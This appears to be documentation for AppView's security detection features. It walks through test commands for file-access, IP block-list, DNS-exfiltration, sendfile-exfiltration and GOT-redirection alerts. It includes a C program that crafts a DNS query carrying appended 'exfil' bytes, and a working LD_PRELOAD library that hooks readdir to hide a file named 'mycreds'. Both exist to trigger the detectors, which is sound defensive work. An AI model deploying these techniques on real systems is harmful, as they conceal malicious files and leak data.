AppView has the ability to detect potential security issues. These are grouped into a few categories:
A number of the mechanisms are defined by detection steps in Mitre Attack enterprise techniques.
There are 2 means for exposing results of security oriented detection mechanisms:
External tools
Security events
Initially, a number of environment variables are used to manage configuration of security detection mechanisms. The intent is to add related control to the AppView config file as well. Refer to the AppView Library docs for details of the environment variables used with security detection.
These examples use shell commands to make this easy to reproduce. In order to receive notifications in Slack an environment variable needs to be set.
From a bash prompt start with:
export APPVIEW_SLACKBOT_TOKEN=xxx
Where xxx is the token for the Slack workspace to be used. Refer to https://api.slack.com/tutorials/tracks/getting-a-token for a description of how to located your API token from Slack.
The default Slack channel for security notifications is #notifications. You will likely need to create the channel in order to use the default. In order to use a different Slack channel set the environment variable APPVIEW_SLACKBOT_CHANNEL to the channel to be used for notifications.
APPVIEW_NOTIFY_FILE_WRITE="/tmp/test" appview run -- vi /tmp/test_write.txt "+:wq"
appview events | grep sec
echo "Test reads" > /tmp/test_read.txt
APPVIEW_NOTIFY_FILE_READ="/tmp/test" appview run -- cat /tmp/test_read.txt
appview events | grep sec
echo "Test spaces" > "/tmp/test_space.txt "
APPVIEW_NOTIFY_FILE_READ="/tmp/test" appview run -- cat "/tmp/test_space.txt "
appview events | grep sec
echo "Test UID" > /tmp/test_suid.txt
chown +s /tmp/test_suid.txt
appview run -- cat /tmp/test_suid.txt
appview events | grep sec
echo "Test exec writes" > /tmp/test_ew.txt
chmod +x /tmp/test_ew.txt
appview run -- vi /tmp/test_ew.txt "+:wq"
appview events | grep sec
echo "Test sys writes" > /tmp/test_sw.txt
chmod ga+w /tmp/test_sw.txt
APPVIEW_NOTIFY_SYS_DIRS="/tmp/" appview run -- vi /tmp/test_write.txt "+:wq"
appview events | grep sec
echo "Test UID" > /tmp/test_user.txt
sudo chown 5000:6000 /tmp/test_user.txt
appview run -- cat /tmp/test_user.txt
appview events | grep sec
Initially the detection mechanisms operate on the system functions setrlimit() and prctl(PR_SET_SECCOMP). More detection mechanisms will be added.
Create a bash shell script with the following:
#! /bin/bash
ulimit -f 2048
We create a shell script for this because the command ulimit is a bash shell builtin command.
Execute the shell script created above:
LD_PRELOAD=Path_to_libview/libappview.so ./myScript.sh
Where Path_to_libview is the path representing the location where libappview.so has been installed. Where myScript.sh represents the script created from above.
Find the IP address to use in the black list. For example, get the IP address for wttr.in:
dig wttr.in
Note that the IP address, as of this writing, is 5.9.243.187.
Set the IP black list to the IP address of wttr.in and connect:
APPVIEW_NOTIFY_IP_BLACK="5.9.243.187" appview run -- curl wttr.in
appview events | grep sec
You will see the error: curl: (7) Couldn't connect to server
Note that the IP white list will allow a connection to be made even if it would be blocked by a black list entry. Extending the behavior of the black list above:
APPVIEW_NOTIFY_IP_BLACK="5.9.243.187" APPVIEW_NOTIFY_IP_WHITE="5.9.243.187" appview run -- curl wttr.in
You will see normal output from wttr.in No notifications or security events should be emitted.
This example manually creates a DNS query so that it can be manipulated in order to create something that looks like what malware might utilize in order to exfiltrate data with DNS. It is overly simplified in order to illustrate the point. In no way is this meant to mimic any specific malware. The query is sent to the Google DNS server at 8.8.8.8. A standard DNS header is defined. The question specifies an IPv4 address. The query is for wttr.in. It takes the form of "\004wttr\002in" as defined in RFC1035. Binary data is added to the end of the query. This is meant to mimic a few malware definitions which have utilized DNS to exfiltrate data, much of the time to a custom endpoint. Examples can be found in Mitre Attack. The outgoing packet must conform to the DNS spec while adding detail to be exfiltrated.
Edit a file called dns-example.c and paste the code below into that file.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <arpa/inet.h>
#define MAX_BUFFER_SIZE 1024
#define DNS_SERVICE "8.8.8.8"
#define DNS_PORT 53
#define QNAME "\004wttr\002in"
// DNS full header definition per RFC 1035
/*
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| ID |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|QR| Opcode |AA|TC|RD|RA| Z | RCODE |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| QDCOUNT |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| ANCOUNT |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| NSCOUNT |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| ARCOUNT |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
Question Field
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| QNAME |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| QTYPE |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| QCLASS |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
*/
struct dns_header
{
unsigned short id; // identification number
unsigned char qr :1; // query/response flag
unsigned char opcode :4; // purpose of message
unsigned char aa :1; // authoritative answer
unsigned char tc :1; // truncated message
unsigned char rd :1; // recursion desired
unsigned char ra :1; // recursion available
unsigned char z :1; // its z! reserved
unsigned char rcode :4; // response code
unsigned char cd :1; // checking disabled
unsigned char ad :1; // authenticated data
unsigned short qdcount; // number of question entries
unsigned short ancount; // number of answer entries
unsigned short nscount; // number of authority entries
unsigned short arcount; // number of resource entries
};
typedef struct dns_query_t {
struct dns_header qhead;
unsigned char name[];
} dns_query;
typedef struct question_t
{
unsigned short qtype;
unsigned short qclass;
} question;
int
main (int argc, char *argv[])
{
int sockfd;
int qlen;
char *qname;
unsigned char bad_exfil[8] = {0x12,0x34,0x56,0x78,0x9a,0x9b,0x9c,0x0};
struct sockaddr_in serverAddr;
struct dns_header *dnsq = NULL;
char buffer[MAX_BUFFER_SIZE];
// Point to the buffer
dnsq = (struct dns_header *)buffer;
dnsq->id = (unsigned short) htons(getpid());
dnsq->qr = 0; // A query
dnsq->opcode = 0; // A standard query
dnsq->aa = 0; // Not Authoritative
dnsq->tc = 0; // Message is not truncated
dnsq->rd = 1; // Recursion Requested
dnsq->ra = 0; // Defined by the server
dnsq->z = 0;
dnsq->ad = 0;
dnsq->cd = 0;
dnsq->rcode = 0;
dnsq->qdcount = htons(1); // 1 question
dnsq->ancount = 0;
dnsq->nscount = 0;
dnsq->arcount = 0;
// End of the DNS header where the question section starts
qname =(char *)&buffer[sizeof(struct dns_header)];
snprintf(qname, sizeof(QNAME), QNAME);
strcat(qname, bad_exfil);
question *qinfo = (question *)(qname + strlen(qname) + 1);
qinfo->qtype = htons(1); // type A
qinfo->qclass = htons(1); // class IN
qlen = (int)(qname - buffer) + sizeof(question);
// Create UDP socket
if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1) {
perror("socket");
exit(EXIT_FAILURE);
}
// Initialize server address
memset(&serverAddr, 0, sizeof(serverAddr));
serverAddr.sin_family = AF_INET;
serverAddr.sin_port = htons(DNS_PORT);
serverAddr.sin_addr.s_addr = inet_addr(DNS_SERVICE);
// Send the data
if (sendto(sockfd, buffer, sizeof(buffer), 0, (struct sockaddr *)&serverAddr, sizeof(serverAddr)) == -1) {
perror("sendto");
close(sockfd);
exit(EXIT_FAILURE);
}
printf("DNS query to %s for %s\n", DNS_SERVICE, qname);
// Close the socket
close(sockfd);
exit(0);
}
Compile the code.
gcc -g dns-example.c -o dnsd
Execute the DNS request with appview
appview ./dnsd
appview events
You will receive a security event notifying of a DNS issue:
dnsd sec sec.dns dns_name:��� host:XXX pid:232907 proc:dnsd reason:"DNS request with an illegal label character" unit:process
Assuming you have notifications enabled to be sent to Slack, you will receive a notification in the configured Slack channel:
Process dnsd (pid 232907) on host XXX encountered DNS request with an illegal label character
It's often relevant to be able to answer the question; what is being exfiltrated to external connections from any given application. It seems managers and legal personnel are often interested in this detail. There isn't a direct way to answer with accuracy and confidence. We have made a first pass at detecting files that are exfiltrated over a network connection. In the initial form this detection is incomplete. It is triggered from a sendfile(). Additional detection should be added to recognize files sent over network connections from any source; send, writev, etc. The use of sendfile() is a start in that many applications use this system function due to performance and memory improvements. Further detection will be added as we proceed.
There is an issue with the initial form of this detection. It's relatively common for services to alter environment variables when creating child processes. In these cases, an event is created for exfiltration, however, no Slack notification is created. We will update this as we proceed.
In this example, we use nginx. It's a pretty simple way to expose exfiltration behavior. By default, in latest nginx releases, the use of sendfile() is enabled. Given a default install and configuration you can validate that nginx is using sendfile with this command:
grep sendfile /etc/nginx/nginx.conf
You should see the following output:
sendfile on;
It's possible that your install and configuration require that a different path be used for this check.
In this example, we used a container to install nginx. Of course, that isn't required. We use this approach so that default nginx configuration can be used.
Start a container and install packages as needed
docker run -it --cap-add=SYS_PTRACE -v /path_to_your_appview/:/opt/appview ubuntu:latest
apt update && apt install nginx curl vim
Create a test file This isn't strictly necessary. You can access files as needed. Refer to nginx docs for reference. We found this doc to be helpful. The specific path defined below could be different, depending on your nginx configuration.
vi /var/www/html/test.txt
Add any text you like, save and exit vi.
Start nginx with appview
/opt/appview/appview nginx
It's possible that your nginx is started as a service, depending on your configuration.
Exfiltrate a file
curl localhost/test.txt
This will cause nginx to use sendfile() to respond to the request for the test file.
View the exfiltrate event
/opt/appview/appview events -a | grep sec
This will display a security event such as:
[2nt] Mar 8 22:07:28 nginx: master process nginx sec sec.file file:/var/www/html/test.txt host:8123c5ccbf78 pid:4418 proc:"nginx: master process nginx" reason:"The file /var/www/html/test.txt has been exfiltrated to 127.0.0.1" unit:process write_bytes:0
The PLT and GOT are sections within an ELF file that support dynamic linking. There are two types of binaries on any system: statically linked and dynamically linked. Statically linked binaries are self-contained, containing all of the code necessary for them to run within a single file, and do not depend on any external libraries. Dynamically linked binaries, the default, do not include a lot of functions, but rely on system libraries to provide a portion of the functionality. For example, when your binary uses printf to print some data, the actual implementation of printf is part of the system C library. Typically, on current GNU/Linux systems, this is provided by libc.so.6. A GOT entry provides direct access to the absolute address of a symbol, such as printf, without compromising position-independence and sharability. Because the executable file and shared objects have separate GOTs, a symbol may appear in several tables. The dynamic linker processes all the GOT relocations before giving control to any code in the process image, thus ensuring the absolute addresses are available during execution.
Much as the Global Offset Table redirects position-independent address calculations to absolute locations, the Procedure Linkage Table (PLT) redirects position-independent function calls to absolute locations. The linkage editor cannot resolve execution transfers (such as function calls) from one executable or shared object to another, so instead it arranges for the program to transfer control to entries in the PLT. The dynamic linker determines the absolute addresses of the destinations and stores them in the GOT, from which they are loaded by the PLT entry. Executable files and shared object files have separate PLTs.
Function redirection is a mechanism that involves a function used normally by the process to be redirected to point to a nefarious function living in a parasite library. One example involves obfuscation of files. Any given malware may need to place files on a system while not allowing those files to be readily viewed. To accomplish this, the functions that read files from a directory, such as readdir, are redirected to a nefarious function contained in a parasite library. The nefarious readdir removes any reference to malware files and the user is unaware of their existence.
There are number of ways in which function redirection is accomplished. Here we provide a brief definition of two high level approaches for deploying a nefarious function. One, an attacker-controlled, parasitic shared library is forced to be loaded into the target process, and causes any number of functions to be redirected. Two, a parasitic library is loaded when the process starts using dynamic loader functionality to cause an addition library to be loaded along with the required libraries. The simple example described below uses the second approach.
The code below is compiled and creates a shared library. The resulting library is intended to be loaded by the dynamic loader and results in the function readdir being redirected to a nefarious readdir function that blocks the view of a defined file.
A nefarious readdir function is defined with default visibility. This causes the dynamic loader to create PLT/GOT entries for the nefarious readdir when this library is loaded. The dynamic linker is configured to preload this library before all other required libraries are loaded. This results in the nefarious readdir being the new default and used for all references in the process being started.
The constructor obtains the original address of readdir. The original readdir is called by the now default nefarious readdir, the results examined for the file to be obfuscated and removed. The result is that a user is not aware of the presence of the obfuscated file.
Edit a file called got-example.c and paste the code below into that file.
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <dirent.h>
#include <dlfcn.h>
#define BLOCKED_FILE "mycreds"
typedef struct dirent *(*ThisReaddir)(DIR *);
ThisReaddir g_readdir;
__attribute__((constructor)) void
init_obf(void)
{
g_readdir = (ThisReaddir)dlsym(RTLD_NEXT, "readdir");
}
__attribute__((visibility("default"))) struct dirent *
readdir(DIR *dirp)
{
if (!g_readdir) return NULL;
struct dirent *dent = g_readdir(dirp);
// if the current dir entry is blocked, ignore and get the next one
if (dent && (strncmp(dent->d_name, BLOCKED_FILE, strlen(dent->d_name)) == 0)) {
//printf("%s:%d %s\n", __FUNCTION__, __LINE__, dent->d_name);
dent = g_readdir(dirp);...
}
return dent;
}
Compile the code.
gcc -fPIC -g -shared got-example.c -o libobf.so
Create a test file. The Example code obfuscates the existence of a file called mycreds.
touch /tmp/mycreds
Execute "ls" to see that the file mycreds exist
ls /tmp
Execute ls with the parasitic library preloaded
export LD_PRELOAD="`pwd`/libobf.so"
ls /tmp
Now the results from /tmp do not include the file mycreds. It has been obfuscated and does not appear to exist.
Enable AppView to detect GOT overlays
export LD_PRELOAD="`pwd`/libobf.so:/tmp/appview/dev/libappview.so"
Note that you want the parasitic library first in the preload list
Execute ls with appview
appview ls /tmp
appview events
You will receive a security event notifying of a GOT issue:
sec sec.file file:/XXX/libobf.so host:XXX pid:203752 proc:ls reason:"a modification to the GOT to use lib /XXX/libobf.so for function readdir" unit:process write_bytes:0
Assuming you have notifications enabled to be sent to Slack
ls /tmp
You will receive a notification in the configured Slack channel:
Process ls (pid 203752) on host XXX encountered a modification to the GOT to use lib /XXX/libobf.so for function readdir